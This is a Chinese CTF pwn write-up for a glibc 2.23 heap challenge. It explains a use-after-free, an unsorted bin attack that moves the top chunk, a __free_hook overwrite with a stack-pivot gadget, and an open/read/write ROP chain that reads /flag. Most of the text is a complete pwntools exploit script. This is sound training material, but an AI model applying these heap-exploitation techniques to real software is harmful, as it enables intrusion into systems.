Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

理解程序:

64位开启了NX IDA64打开

是静态链接,标记一下函数,并且导入签名文件恢复部分符号表

先看add函数:

申请固定大小的0x100的堆,并且将堆的指针存在heap_array全局变量中

edit函数:

正常的编辑

delete函数:

没有对free的指针清零,存在UAF漏洞

没有show函数 而且开启了沙箱禁用execve:

同时题目说明了是libc2.23,那么就可以利用free hook来执行rop,execve被禁用所以执行orw的rop;同时存在UAF漏洞,利用unsorted bin attack来把top chunk改为heap_addr的地址,利用main_arena+88实现任意地址写

利用

unsorted bin attack部分:

1
2
3
4
5
6
7
8
add(0, b'aaa')
add(1, b'aaa') # isolate top chunk
delete(0)
payload = p64(0) + p64(heap_array - 0x10)
edit(0, payload)
add(2, b'ccc')
payload = p64(heap_array) + p64(0) + p64(0x6ca858) * 2 #top_chunk_addr + the_num_of_unsorted_bin + top_chunk_check * 2
edit(0, payload)

add(2,b’aaa’)后就已经将chunk0该为main_arena+88的位置了,此时chunk0和chunk2指向同一地址

接下来是将top chunk改为heap_array地址,因为main_arena+88的位置放置了 top_chunk_addr,unsortbins 数量和两个 top_chunk_check 指针,所以要按照代码的payload来布置

freehook和rop部分:

在静态链接且没有符号表的时候找freehook可以利用free函数的逻辑找:

这个函数符合freehook的逻辑 就是free hook

同时有一个gadget可以将rdi与rsp互换实现栈迁移:

将该gadget覆盖freehook 再free掉存储rop的chunk就能实现orw

总exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./heap_pivoting')
#p = remote("gz.imxbt.cn", 20585)
def add(index, message):
p.sendlineafter(b"choice:\n", b'1')
p.sendlineafter(b'idx:', str(index))
p.sendlineafter(b'say\n' , message)

def delete(index):
p.sendlineafter(b'choice:\n' , b'2')
p.sendlineafter(b'idx:' , str(index))

def edit(index,message):
p.sendlineafter(b'choice:\n' , b'3')
p.sendlineafter(b'idx:' , str(index))
p.sendlineafter(b'context: ' , message)

gdb.attach(p, "set glibc 2.23")

heap_array = 0x6CCD60
free_hook = 0x6CC5E8
xchg = 0x4b8fb8
rdi_addr = 0x0000000000401a16
rsi_addr = 0x0000000000401b37
rax_addr = 0x000000000041fc84
rdx_addr = 0x0000000000443136
syscall = 0x00000000004678e5
bss = 0x6cce40
flag=0x6ccd78

add(0, b'aaa')
add(1, b'aaa') # isolate top chunk
delete(0)
payload = p64(0) + p64(heap_array - 0x10)
edit(0, payload)
add(2, b'ccc')
payload = p64(heap_array) + p64(0) + p64(0x6ca858) * 2 #top_chunk_addr + the_num_of_unsorted_bin + top_chunk_check * 2
edit(0, payload)

add(0, p64(heap_array) * 3)
edit(2, p64(heap_array + 0x8) + p64(heap_array + 0x10) + p64(0) * 4)
edit(0, p64(free_hook) + p64(bss) + b'/flag\x00\x00')#chunk1:freehook chunk2:bss_addr
edit(1, p64(xchg)) #overwrite free_hook
payload1 = p64(rdi_addr) + p64(flag) + p64(rsi_addr) + p64(0) + p64(rdx_addr) + p64(0) + p64(rax_addr) + p64(2) + p64(syscall)
payload1 += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(0x6CBBA0) +p64(rdx_addr) + p64(0x60) + p64(rax_addr) + p64(0) + p64(syscall)
payload1 += p64(rdi_addr) + p64(1) + p64(rax_addr) + p64(1) + p64(syscall)

edit(2, payload1)
delete(2)
p.interactive()

评论